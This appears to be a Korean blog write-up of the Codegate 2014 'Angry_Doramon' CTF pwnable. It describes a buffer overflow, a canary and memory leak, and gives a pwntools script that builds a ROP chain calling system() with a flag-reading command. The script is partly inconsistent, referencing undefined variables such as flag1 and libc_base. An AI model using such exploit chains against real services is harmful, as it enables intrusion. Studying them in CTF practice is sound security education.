-
Codegate2014 Angry_DoramonPwnable/CTF 2017. 2. 14. 00:47
다른것 다 생략하고 4번 메뉴에 mouse ~ 어찌구 하는 메뉴에 버퍼오버플로우 + memory leak 취약점이 있다. "read(fd,&buf,110u)" <-이 부분이 오버플로우 , 그 아래쪽에 sprintf <- 이 함수가 NULL값을 만날때까지 출력이 되기때문에 Memory leak이 된다. 그리고 v8변수가 카나리 변수 이기 때문에 buf[16h] - v8[ch] = 10 즉, 버퍼의 크기는 10
그 다음 카나리 릭을 할떄 버퍼의 크기를 10개 넣으면 안된다. 카나리는 메모리 릭을 방지해서 첫 번쨰 주소가 00 으로 되있기때문에 "Y"*11개를 넣어서 해야된다. (여기서 y를 쳐야되는 이유가 if(buf==121)을 만족시켜야 되기떄문이다 )
(그냥 빠르게 풀자는 마음으로 하다보니 .. 코드가 많이 더럽습니다 .. 메모리 릭 카나리 릭 익스 따로따로 하였습니다.)
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149#-*- coding: utf-8 -*-from pwn import *import hexdumpimport timep=remote("192.168.146.155",8888)leak="y"+"C"*10###flag="cat /home/k0rea/바탕화면/Angry_Doramon/flag>&4\00" #&4 백그라운드 파일 디스크립터 4shell="/bin/sh\00"p3r=0x080495bdread_plt=0x08048620read_got=0x0804b010read_libc=0xb7665980bss=0x0804b080write_plt=0x080486E0write_got=0x0804b040write_libc=0xb76699f0base_offset=0xc6c20canary=0x1076d200######위까지 변수목록print p.recvuntil('>')p.sendline("4")print p.recv(1024)p.send(leak)canary_leak=p.recv(1024)[23:26]canary="\x00"+(canary_leak)print "Oh.. my.. Canary : "+hex(u32(canary))#위 코드가 canary leakpayload="y"+"A"*9payload+=p32(canary)payload+="B"*12payload+=p32(write_plt)payload+=p32(p3r)payload+=p32(4)payload+=p32(write_got)payload+=p32(4)#p.sendline(payload)#write_libc1=u32(p.recv(4))print "write_libc: "+ hex(write_libc)system=write_libc-0x9ac50print "libc base: "+hex(libc_base)print "system Address : "+hex(system)#위 까지가 라이브러리 leakpayload1="y"+"A"*9payload1+=p32(canary)payload1+="B"*12payload1+=p32(read_plt)payload1+=p32(p3r)payload1+=p32(4)payload1+=p32(bss)payload1+=p32(len(flag1))payload1+=p32(system)payload1+=p32(0xaabbccdd)payload1+=p32(bss)p.sendline(payload1)p.sendline(flag1)print p.recv(1024)#위 까지가 exploit codecs 문제를 풀어보면서 libc.so.6 를 주는 문제는 다 풀수있을것같은데 .. 안 주는 문제는 오프셋을 구할떄 libcdb.com에서도 맞는게 없거나 너무 많은게 나오거나, libc-database <- 여기꺼는 오프셋이 안맞을떄 .. 으캐 .. 해야될지 감이 안온다 ..이번 문제에서 그랫다 ..
'Pwnable > CTF' 카테고리의 다른 글
PlaidCTF 2014 EZHP (2) 2017.03.10 codegate 2017 messenger (1) 2017.03.08 WITHCON malloc (0) 2017.03.03 Codegate 2017 baby_pwn (0) 2017.02.20 PlaidCTF 2013 ropasaurusrex (0) 2017.02.11